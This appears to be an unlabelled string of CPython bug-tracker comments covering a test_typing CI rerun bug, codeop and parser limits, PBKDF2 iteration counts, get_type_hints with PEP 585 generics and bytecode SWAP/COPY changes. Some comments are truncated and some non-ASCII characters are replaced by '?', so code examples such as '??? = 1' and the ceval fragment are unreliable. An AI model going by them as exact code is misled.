File "/home/mscastanho/AT/python-next-220124/opt/at-next-16.0-0-alpha/lib64/python3.10/test/test_typing.py", line 3917, in setUpClass
UserId = NewType('UserId', int)
NameError: name 'NewType' is not defined
Looks like `from typing import NewType` is not needed anymore in this file on the main branch (where this commit originated), but still is for 3.10.

I think that in case when we preserve the runtime checks, they should be covered by tests. Right now - they are not.
So, I will switch my PR to the initial version with a new test case.
Does this sound right? :)

The python parser was completely rewritten in version 3.9, so it's likely that this caused changes to error messages.

Indeed, these new errors are due to the new parser. Unfortunately, the new parser doesn't allow to check against incomplete input the way the old one did so that piece of documentation is unfortunately outdated.
We should remove it to avoid further confusion.

Yeah, will just be the same files again but with "arm64" in place of "win32"/"amd64".
I'm also going to stop uploading the old webinstall files with my change here, though that shouldn't matter. The code we added to filter them out should handle them being completely absent, IIRC.

It's like this:
>>> import foo
>>> dir(foo)
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'annotations', 'x']
>>> foo.annotations
_Feature((3, 7, 0, 'beta', 1), (3, 11, 0, 'alpha', 0), 16777216)
So the attribute in foo is called annotations, i.e. it's not private.

Irit, I can and I will submit a patch.
However, I'm very keen to learn what is an alternative solution then to distinguish hard invalid from incomplete input. IOW, what would be the new way of achieving what's described in the old FAQ?
I believe it would be more useful to the community if I updated the sample in the FAQ instead of just removing it.

Message-ID: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org>
New submission from Kodiologist <nonce0010lep at arfer.net>:
This works:
??? = 1
This raises SyntaxError:
import ast
exec(ast.unparse(ast.parse("??? = 1")))
It looks like `ast.parse` creates a `Name` node with `id='def'`, which is correct per PEP 3131, but `ast.unparse` doesn't know it needs to mangle the output somehow, as "???" or a similar Unicode replacement.

Unfortunately, there is no new way to do this from C due to how the new parser works. The only supported way is to manually import the codeop module from C (https://docs.python.org/3/library/codeop.html#module-codeop) and use its API as IDLE does, but this API can differ and will present its own complications, as unfortunately is implemented in a bit hacky way.

April King <april at grayduck.mn> added the comment:
Django probably stores and computes more passwords than every other Python framework combined, and it doesn't provide you any control over the number of iterations. And it hasn't for years. If this were truly a problem, wouldn't their users be complaining about it constantly?
Werkzeug was doing 150,000 iterations as of 0.15.x, released three years ago, and does 260,000 iterations today. Again, no complaints or issues.
In practicality, this is almost never a problem - user logins and password changes are extremely rare events compared to all other activity, and so the computation time is essentially irrelevant outside response time for that individual user. No matter how many users, the systems are scaling such that the computation time of that rare event remains a fraction of overall CPU use.

The test correctly fails on the first run in the CI, then skips itself on the second run, tricking the CI into thinking everything's passed. E.g. search for "test_typing" here https://github.com/python/cpython/runs/4902363883?check_suite_focus=true.
As to why it does that, I still have no clue.

These lines seem suspicious:

0:09:12 load avg: 6.37 Re-running test_typing in verbose mode (matching: setUpClass)
1 re-run test:
test_typing
1 test run no tests:
test_typing
```
Probably this happens because the failure is in `setupClass` method, not in a test.
When it try to rerun this, it does not do anything. And happily ends the suite.

Message-ID: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Here's what happened. We had an error in `test_typing.py`, which was silently ignored.
```
======================================================================
ERROR: setUpClass (test.test_typing.NewTypeTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "D:\a\cpython\cpython\lib\test\test_typing.py", line 3917, in setUpClass
UserId = NewType('UserId', int)
NameError: name 'NewType' is not defined
----------------------------------------------------------------------
Ran 396 tests in 0.085s
FAILED (errors=1, skipped=1)
test test_typing failed
```
Link: https://github.com/python/cpython/runs/4902363883?check_suite_focus=true
But, later the suite runner tried to rerun it:
```
0:09:12 load avg: 6.37 Re-running failed tests in verbose mode
0:09:12 load avg: 6.37 Re-running test_typing in verbose mode (matching: setUpClass)
1 re-run test:
test_typing
1 test run no tests:
test_typing
```
And since nothing matched `setUpClass` - no tests were executed and the CI went green instead of red.
What can we do?
1. Only schedule real `test_` item to be rerun, fail for everything else
2. Convert `setupClass` failure into the whole class rerun
3. Other options?
I would like to work on this, when we will decide which way is best.

Exactly what I just thought. A bit more research might find a buggy assumption in the test "framework".

Paul Kehrer <paul.l.kehrer at gmail.com> added the comment:
NIST provides no official guidance on iteration count other than NIST SP 800-132 Appendix A.2.2, which states "The number of iterations should be set as high as can be tolerated for the environment, while maintaining acceptable performance."
I can think of no better resource for what constitutes acceptable performance at the highest iteration count than popular packages like Django. Django's choice (and lack of evidence that they've had any cause to revert due to performance issues) argues that 390k iterations is a reasonable number in 2022. Certainly the 100k suggested in these docs as of 2013 is no longer best practice as we've seen 9 years of computational improvement in the intervening time.
I would, additionally, suggest that the documentation recommend the use of scrypt where possible over any iteration count of PBKDF2, but increasing the iteration count is still a useful improvement to the docs!

You are arguing from the perspective of a Django/werkzeug developer and you are using experiential domain knowledge to argue for higher recommendation.
I'm asking for a scientific answer. Based on my experience 100k PBKDF2 HMAC-SHA256 rounds is already a DoS issue for some use cases. For other uses cases even 500k rounds is not the right answer, because the application should rather use a different algorithm all together.
If you are concerned about PBKDF2's strength, then better switch to Scrypt or Argon2. They are better suited against GPU-based crackers. PBKDF2 is still required for FIPS compliance, but most people can (and should!) ignore FIPS.

This is due to the fact that the new parser doesn't detect the syntax error of "abc def" after it has parsed the full text, but before that happens, the tokenizer has detected a problem (the ''' is not closed) and this is considered incomplete output for code (the same if you do code.compile_command('"""')).
Unfortunately, this is not easy to fix once we have the tokenizer error in place so I am afraid we probably need to close this as "won't fix", unless someone has a good idea on how to accommodate for this case.

I understand, but I don't see a way to fix this without reverting the change to detect unclosed triple quites or without committing a lot of code to handle special cases.
Also notice that in your example with python, as soon as you close the quotes you get an error:
In [1]: asdf dsfsd """
...:
...:
...: """
Input In [1]
asdf dsfsd """
^
SyntaxError: invalid syntax
So is not as dramatic as you mention when you say "every REPL written with the `code` module will be broken". Although I understand it depends on the optics.

Converting further static types to heap types require a discussion. See what the Python Steering Council wrote at Feb 8, 2021:
"The Steering Council discussed the ongoing work on porting types in the standard library to heap-types and the subinterpreter-related changes. It was decided that through Pablo, the Steering Council will ask the core developers driving those changes to create an informational PEP and not to make any more changes in this area after beta 1, as per our general policy."

You're right. There was another bug in my code that was causing the SyntaxError to not show up at all, sorry about that.
Can you help me figure out why this bug doesn't show up in the normal Python REPL?
```
>>> abc def '''
File "<stdin>", line 1
abc def '''
^^^
SyntaxError: invalid syntax
```
I could then use whatever logic the REPL itself uses instead of relying on `code.compile_command()`, because my requirement is to detect if a code can be incomplete Python code, without ever compiling it.

That's because the normal Python REPL works very differently when in interactive mode. This is because the tokenizer in interactive mode is coupled with reading from standard input.
We would need to somehow decouple this behaviour with interactive mode, allow a new option to the parser that allows activating this mode and then hook this to codeop module (and maybe other places).

AS I mentioned in other issues, unfortunately the new parser doesn't allow to do this as the old one does, because how it works. The codeop module hacks around this by comparing the error messages if you add new lines, which is know to be fragile and quite bug-friendly.
So I am afraid there is not going to be a reliable and supported way to do this with the new parser. You may need to use a 3rd party library that allows parsing incomplete code.

IMO moving this small script into the separated project https://github.com/JulienPalard/sphinxlint will help people who are not core developers to contribute and it makes the tool usable by projects outside CPython. So yeah, it's a good thing!
Also, it's more convenient to add tests, put it on PyPI, etc.

Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap
dataclasses-specific annotations
In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org>
Message-ID: <1643131352.69.0.995116737868.issue46511@roundup.psfhosted.org>
Eric V. Smith <eric at trueblade.com> added the comment:
My thoughts are that I'd like PEP 563 to go away, and PEP 649 to be accepted, and also never allow string literal annotations like the string "Annotated[ClassVar[int]]". But since we'll no doubt have to support string-ized annotations even if PEP 649 is accepted, that's a pipe dream.
I think your suggestion for #1 seems reasonable.
For #2, in the case where typing has been imported and the annotation isn't a string, I assume it's simple enough to look inside the Annotated object and extract the InitVar (or ClassVar) object. I haven't delved in to Annotated object yet.
For #2, with a string annotation, it does look like it will get ugly. I'll have to spend some time looking at _MODULE_IDENTIFIER_RE. I'm guessing we'll need another re that looks for the same basic thing with "Annotated[" or "module.Annotated[" prepended and then look inside that. Or maybe one re to do both. I don't think we should support cases like:
from __future__ import annotations
myAnnotated = typing.Annotated
@dataclass
class Foo:
a: myAnnotated[ClassVar[int]]
(That is, we won't recognize the string "myAnnotated[ClassVar[int]]" as an Annotated ClassVar.
Maybe we should also restrict it to "Annotated" or "typing.Annotated", but that would prevent someone from using "import typing as _typing", for example. This is why the current code accepts any module name, not strictly "typing". At least that's my recollection, more study is needed.
Or maybe it's time to give up and use typing.get_type_hints() or inspect.get_annotations(), but I suspect there are enough corner cases that will fail that we'll never get that to work right. Nested classes, anyone?
The whole runtime inspection of string-ized annotations is a mess.
On the "performance is important" comment: I'm not sure this is really an issue any more. There was some PEP that was supposed to speed up importing typing, and I never looked at the performance once it was merged. But then again, I'm not sure we want to always have dataclasses import typing, either. If a program doesn't use dataclasses that using the typing module, there's no sense importing it and enlarging the working set of modules.
I welcome any insights on any of these issues. I'm not a typing expert.

If you want to move the project under the https://github.com/psf/ organization, the PSF has some rules to move a project in the Python organization. For example, contributors must respect the PSF Code of Conduct and the GitHub project must have at least 3 administrators. I forgot when I read these rule exactly. See for example https://github.com/psf/pyperf/
* https://github.com/psf/pyperf/blob/main/CODE_OF_CONDUCT.md
* README says "The pyperf project is covered by the PSF Code of Conduct."

This failing test was one of my most hated test because it failed randomly for almost 2 years. I'm happy that it has been fixed :-)
Regularly, I'm asking for help to fix test_asyncio:
* October 2020: https://mail.python.org/archives/list/python-dev at python.org/message/Y7I5ADXAQEGK6DOFAPVDTKMBT6NUFNQ4/
* October 2019: https://mail.python.org/archives/list/python-dev at python.org/message/R7X6NKGEOKWD3PBWIL2LPZWZ6MMRANN5/
Last years I gave up, since almost no one replied to my requests.

Sticking with 100k is not scientific though ;-) Empiricism is science!
I'm probably the person responsible for Django's process, which is to increase by some % (10% or 20% IIRC) every release.
As you point out, the exact value one should use is a function of context, which we don't have as documentation authors. However, what we can do is try to select a value that's most likely to be practical for many users and will in-turn protect their users data most. 100k isn't that value, and taking inspiration from places that have had their values tested by many users is intuitive to me.

These issues are open for 9 years. NNTP protocol is getting less and less popular, I don't expect that anyone will come in 2022 and suddenly propose a fix.

> I'm sorry, Victor.
As a maintainer of the Python CIs, The Night's Watch (*), it's my fault that I didn't skip these tests earlier. Honestly, it's ok to skip a bunch of tests or even remove them if there is no active maintainer.
It's also ok that there is no active maintainer if existing tests continue to pass. asyncio is far from being an exception. Just look at test_nntplib: not maintained for 9 years, https://bugs.python.org/issue40735
This test failure got more attention since it started to fail even more frequently (always?) on Windows 2022.

> Regarding C extensions, I think clear documentation that extension authors need to check for signals in any code that might run for a few hundred microseconds or longer is the best approach.
Python 3.10 doesn't require it. If you want to change Python 3.11 behavior, please announce the change on python-dev and capi-sig mailing lists, and document it carefully in What's New in Python 3.11.
I'm not talking about checking frequently interruptions while a function is running, I'm only talking about the "end" of a C function (exit). In Python 3.10, ceval.c does it automatically.
case TARGET(CALL_FUNCTION): {
PREDICTED(CALL_FUNCTION);

sp = stack_pointer;

goto error;

This is already communicated in ? 4.7 ("Defining Functions") of the official tutorial.
I think it would be a good idea to revise that section so that this property of functions is a little more clear, but that isn't the scope of this ticket.
The title change reflects my intent to submit a PR that adds a hint to the builtins doc.

We should make sure that Python can be built with -fsigned-char *and* with -funsigned-char: build Python, but also run its test suite.

This comment is really weird since audioop explicitly uses "signed char" and "unsigned char". Maybe to avoid any risk of confusion, the C code should use int8_t and uint8_t.

Guido, sorry for the late response on this. I have a work around, but it involves passing along my own "context" from which to resolve strings on the go as they are encountered while decomposing the type hint.
https://github.com/NiklasRosenstein/databind/commit/960da61149b7139ec81b0e49d407fae321581914
I'm using `typing.get_type_hints()` expecting it to fully resolve all forward references, but that no longer happens with PEP 585 generics.
https://github.com/NiklasRosenstein/databind/blob/960da61149b7139ec81b0e49d407fae321581914/databind.core/src/databind/core/types/utils.py#L129-L138
I understand the documentation has been updated to reflect this behaviour, but it was an issue for me because it broke it's original API contract.
> In addition, forward references encoded as string literals are handled by evaluating them in globals and locals namespaces.
Arguably the same has happened when `include_extras` was added (Annotated was now stripped from the returned resolved type hints by default), but that had an easy fix by simply wrapping it with `include_extra=True` depending on the Python version. The fix for the forward references in PEP 585 was not so trivial because we can't hook into what `get_type_hints()` does when it encounters a string.

In Nixpkgs we install every Python package under a unique prefix, a so-called Nix store path. If we were to use sysconfig for installing packages, then we'd need to be able to dynamically set the paths. This was also discussed as part of the Installer project. https://github.com/pradyunsg/installer/issues/98
We could use a custom scheme, however, we do need to be able to dynamically set a certain variable, e.g. `base`.
```
variables = {"installed_base": "$out", "base": "$out", "platbase": "$out", "installed_platbase": "$out"}
# Note there is no `sysconfig.get_default_scheme()`
sysconfig._expand_vars("posix_prefix", variables)
```
I could imagine we do something like
```
# check whether we're in a nix build and want to install in a prefix
if "IN_NIX_BUILD" in os.environ:
base = os.environ["out"]
scheme = {...}
```
We'd then need to update the base variable in sysconfig or partially expand our own scheme using this variable.

Oh ok, I wrote PR 30890 to fix the wmic.exe encoding.
I would prefer to avoid a named temporary file if possible, until it's really needed.
I'm only aware of the Fedora operating system which made fun of non-ASCII users once with "Fedora release 19 (Schr?dinger's Cat)": https://lwn.net/Articles/545741/

You're right, let me trim it down:
In production we use `get_type_hints()` a lot, expecting it to resolve strings as forward references as per it's original API contract. However, PEP 585 generics parametrized with strings in Python 3.10 doesn't work like that (as the documentation already points out). `get_type_hints()` itself does not fail, subsequently broke our code because it was not built to expect strings in `GenericAlias.__args__`.
What I ask myself is what motivated the decision to change the behaviour for PEP 585 generics in `get_type_hints()` and not go the extra mile.

New submission from STINNER Victor <vstinner at python.org>:
test_peg_generator takes between 5 and 16 minutes on the Windows CI run on Python pull requests.
Example of timings on my PR https://github.com/python/cpython/pull/30890
* GitHub Action win32: 8 min 16 sec
* GitHub Action win64: 16 min 38 sec
* Azure Pipelines win32: 5 min 30 sec
* Azure Pipelines win64: 8 min 3 sec
Would it be possible to make these tests faster?
Or at least, would it be possible to skip these slow tests on Windows where spawing a process or running a C compiler is slower?
On my Fedora 35 (Linux) laptop, test_peg_generator takes 49.5 seconds. test_peg_generator only takes 736 ms if I disable TestCParser.

#define _Py_CTYPE_IS_SIGNED(T) (((T)-1) < 0)
I planned to use it to raise an error on "import audioop" if the C "char" type is unsigned, but it seems like it's not needed, since the C extensions seems to work if char is signed or unsigned (I only read the C code, I didn't run test_audioop to actually test it).

Guido van Rossum <guido at python.org> added the comment:
When PEP 585 was discussed and implemented we did not expect people to care as much about runtime types as they did.
I already explained that making list['Node'] incorporate a ForwardRef instance is unrealistic (we'd have to reimplement ForwardRef in C first).
It might be possible to change get_type_hints() to recognize strings, and deprecate ForwardRef altogether. But I suspect that that would break something else, since ForwardRef is documented (I had intended it to remain an internal detail but somehow it got exposed, I don't recall why).
Please stop asking why the decision was made (it sounds rather passive-aggressive to me) and start explaining the problem you are having in a way that we can actually start thinking about a solution.
I have boiled down the original example to a slightly simpler one (dataclasses are a red herring):
>>> from typing import get_type_hints, List
>>> class N:
... c1: list["N"]
... c2: List["N"]
...
>>> N.__annotations__
{'c1': list['N'], 'c2': typing.List[ForwardRef('N')]}
>>> get_type_hints(N)
{'c1': list['N'], 'c2': typing.List[__main__.N]}
The key problem here is that the annotation list['N'] is not expanded to list[N]. What can we do to make get_type_hint() produce list[N] instead here?

My thought was to add something like this to the top of functions.rst:
```
Note that some of the functions listed here have the :ref:`default return value <tut-defining-functions> of ``None``.
```
For reference, the builtins this applies to are:
* breakpoint()
* delattr()
* exec()
* help()
* print()
* setattr()
Which makes me wonder if the hint is even worth having, since it's so few of them.
Note that of these, exec() does what this ticket originally proposed for print() - i.e. it explicitly says that the function returns None.

It was not my intention to sound passive agressive. Thanks for providing the context around the time PEP 585 was discussed.
Frankly, I believe I have explained the problem quite well. But I would like to propose a solution.
I can't judge in what circumstance a `str` would end up in `typing._GenericAlias.__args__` since `typing._GenericAlias.__getitem__()` converts strings to `typing.ForwardRef` using `_type_check()` immediately.
Assuming this is indeed a case to be taken into account, I would propose that `typing.get_type_hint()` implements special treatment for `types.GenericAlias` such that strings in `__args__` are treated as forward references, and keep the old behaviour for `typing._GenericAlias`. Do you see any problems with that?
Of course this would break cases that have come to strictly expect strings in PEP 585 generic `__args__` since the release of Python 3.10 to stay strings, although I cannot come up with an example or think of a usecase myself.

The test needs to build a lot of C extensions with different parsers, and that compilation is what takes most of the time.
I don't think we should skip these tests by default on Windows, as it gives us valuable information (that the parser features work compiled on windows).
If you have an idea on how to speed the tests, I'm all ears :)

Guido van Rossum <guido at python.org> added the comment:
Ah, I see the issue. I stepped through get_type_hints() using pdb, and it does have a special case for when it encounters a string: it wraps it in a ForwardRef and proceeds from there:
https://github.com/python/cpython/blob/cef0a5458f254c2f8536b928dee25862ca90ffa6/Lib/typing.py#L1806-L1807
But list['N'] isn't a string, so it doesn't trigger this case. If you were to use "list[N]" instead, it works:
>>> from typing import get_type_hints
>>> class N:
... c: "list[N]"
...
>>> get_type_hints(N)
{'c': list[__main__.N]}
>>>
But I suppose you have a reason you (or your users) don't want to do that.
We could probably add a special case where it checks for types.GenericAlias and goes through __args__, replacing strings by ForwardRefs.
But would that be enough? The algorithm would have to recursively dive into __args__ to see if there's a string hidden deep inside, e.g. list[tuple[int, list["N"]]].
And what if the user writes something hybrid, like List[list["N"]]? What other cases would we need to cover?
And can we sell this as a bugfix for 3.10, or will this be a new feature in 3.11?
How will it interact with from __future__ import annotations?

As a general thing, I expect people on Windows always run the tests with multiple processes. In which case it would be generally helpful to start the longest-running tests first. As is, because of its late-in-the-alphabet name, "test_peg_generator" gets started late in the process and so typically keeps running for minutes and minutes after all other tests have completed. So just renaming it to "test_0peg_generator" would cut minutes off the Windows wall clock time ;-)

Niklas Rosenstein <rosensteinniklas at gmail.com> added the comment:
Interesting! Representing the entire type hint as a string is something I haven't thought about, but it makes sense that it works.
It is my understanding that `get_type_hint()` already walks through the entire type hint recursively. If it weren't, it would not resolve `List['N']` to `List[__main__.N]` in the example below.
>>> from typing import get_type_hints, Mapping, List
>>>
>>> class N:
... a: Mapping['str', list[List['N']]]
...
>>> get_type_hints(N)
{'a': typing.Mapping[str, list[typing.List[__main__.N]]]}
Upon closer inspection of the `typing` code, I can see that `_eval_type()` is doing that recursion. Applying the change your proposed in your previous message to that function seems to work at least in a trivial test case.

I believe that this would be enough, but then again I haven't yet had enough time to crack at other implications this might have.
> How will it interact with from __future__ import annotations?
I've never used this future, but from my current, possibly limited, understanding it should have no side effects on how `get_type_hints()` will evaluate fully stringified annotations (as you have already shown, a fully stringified type hint actually works fine with PEP 585 generics).
> And can we sell this as a bugfix for 3.10, or will this be a new feature in 3.11?
I will throw in my personal opinion that this could be a bugfix, but I'm obviously biased as being on the "experiencing end" of this behaviour we're trying to change.

New submission from Henning Leth <leth.henning at gmail.com>:
Got a project where I am looking for all files in a project dir, except the some files/dir/extentions that should be ignored.
Found a possible bug:
- the set has to be defined even though it was a set when defined
- f-string doesn?t work as I would expect
working code from my project:
ignore = {'*.tmp', 'test.txt', './tmp/*'}
for file in iglob('**/*[!f"{set(ignore)}"]', recursive=True):
code as i espected it would be writen:
... iglob(f'**/*[!{"ignore"}]', recursive=True)

to me this is the same as the Union[Pattern] / Union[Match] "fixes" that landed in 3.5.3 -- and the pain caused by using that and having CI pass (because of modern 3.5.x) but having spurious bug reports from users stuck on 3.5.2
or in 3.6.1 when NamedTuple was "fixed" to allow methods, again having CI pass with modern pythons but having frustrated users running 3.6.0
I forsee the same class of problems here with Annotated where it works great in 3.10.3 and 3.9.11 but anyone stuck on 3.10.2 or 3.9.10 or older will be broken

Well that's *always* a problem right? If you take that to the extreme we wouldn't need bugfix releases. :-)
Apart from some examples in the 3.5-3.6 timeframe, what makes you think that *this* fix *specifically* is going to make more people unhappy than it makes happy?
When people complain that they wrote Annotated[ClassVar[int], ...] and are disappointed that it doesn't work in a certain old version, you can just tell them to use ClassVar[Annotated[int, ...]] which is in no way invalid or inferior and works in all versions that support Annotated.

3.7.2 has another example where OrderedDict was added to typing
I don't have any personal investment in this particular change but I've had quite a few unhappy consumers of libraries due to instability in typing apis between patch versions in the past (heh and they're especially frustrated because they don't care about type checking and just want functional software)
it's also difficult and/or not cost effective to add every patch version to a CI matrix to catch these sorts of problems

wmic.exe is still included in Windows 10 and 11, but it's officially deprecated [1], which means it's no longer being actively developed, and it might be removed in a future update. PowerShell is the preferred way to use WMI.

Message-ID: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org>
New submission from Trey Hunner <trey at truthful.technology>:
While playing around with the main CPython branch against I noticed that enumerate now gives a strange error message when `iterable` is provided as a keyword argument:
>>> enumerate(iterable=[])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: enumerate() missing required argument 'iterable'
When passing an invalid keyword argument (and no positional arguments) an interesting error message is also given:
>>> enumerate(hello="world")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: enumerate() missing required argument 'iterable'
The help output still shows that iterable is accepted as either a keyword argument or a positional argument.

Message-ID: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org>
New submission from Brandt Bucher <brandtbucher at gmail.com>:
...as discussed in https://github.com/faster-cpython/ideas/discussions/228.
We can dramatically simplify our stack manipulations by getting rid of the `DUP_TOP*` and `ROT_*` families of instructions:
- Replace `DUP_TOP` with `COPY(1)`.
- Replace `DUP_TOP_TWO` with `COPY(2), COPY(2)`.
- Introduce a new `SWAP` instruction.
- Replace `ROT_TWO` with `SWAP(2)`.
- Replace `ROT_THREE` with `SWAP(3), SWAP(2)`.
- Remove `ROT_FOUR`.
- Replace `ROT_N(n)` with `SWAP(n), SWAP(n - 1), ..., SWAP(2)`.
It then becomes much simpler for the peephole optimizer to reason about code sequences involving these instructions (for example, it's pretty straightforward to truly *optimize* an arbitrary sequence of swaps).

Martin: [tests need review]. Yep. Improved constant folding and elimination of duplication now causes many 'is not' tests to fail. Language tests should not test current implementation limitations.

In practice, pretty much the only thing that will do more work now is augmented subscription:
>>> a[b] += c
main:
1 2 LOAD_NAME 0 (a)
4 LOAD_NAME 1 (b)
6 DUP_TOP_TWO
8 BINARY_SUBSCR
10 LOAD_NAME 2 (c)
12 BINARY_OP 13 (+=)
14 ROT_THREE
16 STORE_SUBSCR
patched:
1 2 LOAD_NAME 0 (a)
4 LOAD_NAME 1 (b)
6 COPY 2
8 COPY 2
10 BINARY_SUBSCR
12 LOAD_NAME 2 (c)
14 BINARY_OP 13 (+=)
16 SWAP 3
18 SWAP 2
20 STORE_SUBSCR
Pattern matching is the only place where we use ROT_N, and frankly it's *misused* there... often, it makes the cost of storing names quadratic at runtime. Even though we emit *more* instructions now, the peephole optimizer actually cuts them down significantly, and the result is more efficient than before. For example:
>>> match x:
... case (a, b, c, None):
... pass
main:
1 2 LOAD_NAME 0 (x)
2 4 MATCH_SEQUENCE
6 POP_JUMP_IF_FALSE 20 (to 40)
8 GET_LEN
10 LOAD_CONST 0 (4)
12 COMPARE_OP 2 (==)
14 POP_JUMP_IF_FALSE 20 (to 40)
16 UNPACK_SEQUENCE 4
18 ROT_FOUR
20 ROT_FOUR
22 ROT_FOUR
24 POP_JUMP_IF_NOT_NONE 18 (to 36)
26 STORE_NAME 1 (a)
28 STORE_NAME 2 (b)
30 STORE_NAME 3 (c)
3 32 LOAD_CONST 1 (None)
34 RETURN_VALUE
2 >> 36 POP_TOP
38 POP_TOP
>> 40 POP_TOP
42 LOAD_CONST 1 (None)
44 RETURN_VALUE
patched:
1 2 LOAD_NAME 0 (x)
2 4 MATCH_SEQUENCE
6 POP_JUMP_IF_FALSE 20 (to 40)
8 GET_LEN
10 LOAD_CONST 0 (4)
12 COMPARE_OP 2 (==)
14 POP_JUMP_IF_FALSE 20 (to 40)
16 UNPACK_SEQUENCE 4
18 SWAP 2
20 SWAP 3
22 SWAP 4
24 POP_JUMP_IF_NOT_NONE 18 (to 36)
26 STORE_NAME 1 (a)
28 STORE_NAME 2 (b)
30 STORE_NAME 3 (c)
3 32 LOAD_CONST 1 (None)
34 RETURN_VALUE
2 >> 36 POP_TOP
38 POP_TOP
>> 40 POP_TOP
42 LOAD_CONST 1 (None)
44 RETURN_VALUE
Replacing the ROT_FOURs with SWAPs may seem minor, but it ends up being a *lot* less work at runtime.

Message-ID: <1643163774.53.0.339262106293.issue46498@roundup.psfhosted.org>
New submission from WANG Xuerui <i.bpo at xen0n.name>:
First of all I think the changes should probably go in main branch first, then backported to the older branches if possible; although IMO you'd be much better off just backporting and carrying the patch yourselves.
Secondly the suggested patch is not consistent with the LoongArch toolchain spec, in that it didn't use the multiarch identifiers in the spec document (https://github.com/loongson/LoongArch-Documentation/blob/a8a004148734445480659a5e25ef985817881341/docs/LoongArch-toolchain-conventions-EN.adoc, Table 12), but rather the old-world one; see the discussion at https://github.com/loongarch64/cpython/pull/1 (in Chinese) too.

I can confirm that the behavior changed between 3.10 and current main: enumerate(iterable=[]) works on 3.10 but not on main. It's likely a consequence of bpo-43706.
I'll submit a patch to restore the previous behavior.

Message-ID: <1643173527.73.0.205584009929.issue45382@roundup.psfhosted.org>
Eryk Sun <eryksun at gmail.com> added the comment:
> sys.getwindowsversion() which exposes GetVersionEx() looks fine to me.
In Windows 8+, sys.getwindowsversion() returns a version that can vary from 6.2.9200 (Windows 8) up to the actual OS version. It depends on the OS versions supported by the application manifest -- with 6.2.9200 used when there's no application manifest. The platform module uses the shell's VER command because it returns the real OS version.
The version number for Windows 11 is 10.0.22000+. The platform module misreports this as Windows 10. In msg403452, I suggested a modification to use build numbers. In msg404451 Steve said we may as well use the WMI result to identify Windows 11 based on the OS caption. If we use WMI, we can choose to rely on wmic.exe (deprecated), PowerShell, or implement our own code in C/C++.
> I don't understand why we have to handle XML or JSON and encoding...
Using JSON or XML (ElementTree) isn't required, if you'd rather parse human-readable output. AFAIK, the Win32_OperatingSystem caption is always ASCII.
In general, wmic.exe writes output text to a pipe that's encoded with the system OEM code page. pwsh.exe, powershell.exe, and cmd.exe write output text to a pipe (from their internal commands/cmdlets) that's encoded using the console's output code page. cmd.exe also supports a /U option to use UTF-16.

Martin Panter <vadmium+py at gmail.com> added the comment:
The linked code is for urllib.parse.urlencode, looking something like
try:
if len(query) and not isinstance(query[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info()
raise TypeError("not a valid non-string sequence "
"or mapping object").with_traceback(tb)
I guess it raises twice so that the error message is not duplicated in the code. The author probably also wants the TypeError initially raised from the "len(query)" and "query[0]" operations to get the same "not a valid . . ." message.
Regarding the OSError, originally it was catching socket.error and raising IOError. I guess someone only wanted the caller to have catch IOError and not need to import the socket module. Later these exception types became aliases of each other.
Anyway, the URLopener class is documented as deprecated, so is it really worth changing anything in that?

I see.
I didn?t realise it?s deprecated, I guess we?ll leave it alone then. Thanks.

Thanks for getting back so quickly.
Annotated is set up to be 'transparent' by default to `typing.get_type_hints` so in the case of using `typing.py` it can be made straightforward by chaining with `typing.get_origin`, I think.
I don't see any reasonable way to do the regex that allows `Annotated` to be renamed, so I agree your suggested restriction. I think the regex would be something like this:
^\s*(?:(?:\w+\s*\.)?\s*Annotated\[)?(?:\s*(\w+)\s*\.)?\s*(\w+)
I'm a bit worried people who are into Annotated annotations might be concerned about line length and more likely to rename `Annotated`, but I don't know if this is a realistic concern. And a part of me wants to say always importing typing.py should be okay since dataclasses was designed to work with type hints after all.
On the other hand, I'm also a bit worried that if we made dataclasses always import typing.py it would rub people the wrong way even if we profiled it and decided it was okay.
I'm going to spend some more time digesting the code tomorrow and try to decide if there's any major speed bumps to a full `typing` approach. I'll also look at import time and such.

I agree with Brett. Adding `allow_z` (or perhaps `compact` or `use_utc_designator` if we're bikeshedding) as an optional keyword only argument to `.isoformat()` would allow us to keep the explanation that what `.fromisoformat()` can parse is exactly what `.isoformat()` can produce, while giving a feature to `.fromisoformat()` that many have asked for and that would have minimal overhead in terms of code complexity or runtime performance.
Would you accept a PR that implements that, Paul?

All of these require shelling out to the OS, so why not stick to
`ver` as we've done in the past. This has existed for ages and
will most likely not disappear anytime soon.
Is there a good reason to prefer wmic or PowerShell (which are
less likely to be available or reliable) ?

Message-ID: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
There are several important cases that are missing from current `repr()` tests of `typing.Union` and `typing.Optional`:
1. This condition is not covered at all: `if args[0] is type(None):` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1236
3. `repr()` of `Union[str, None]` is not directly tested as well
3. `repr()` of `Union` with more that 2 parameters with `None` is not covered. This is an important corner case because of this condition: `if len(args) == 2:` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1235
I will send a PR with new assertions.

In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za>
Message-ID: <1643187289.46.0.573932463378.issue33205@roundup.psfhosted.org>
Inada Naoki <songofacandy at gmail.com> added the comment:
We do not have *fill* since Python 3.6.
There is a `dk_nentries` instead. But when `insertion_resize()` is called, `dk_nentries` is equal to `USABLE_FRACTION(dk_size)` (dk_size is `1 << dk_log2_size` for now). So it is different from *fill* in the old dict.
I chose `dk_used*3` as GROWTH_RATE because it reserves more spaces when there are dummies than when there is no dummy, as I described in the same comment:
> In case of dict growing without deletion, dk_size is doubled for each resize as current behavior.
> When there are deletion, dk_size is growing aggressively than Python 3.3 (used*2 -> used*3). And it allows dict shrinking after massive deletions.
For example, when current dk_size == 16 and USABLE_FRACTION(dk_size) == 10, new dk_size is:
* used = 10 (dummy=0) -> 32 (31.25%)
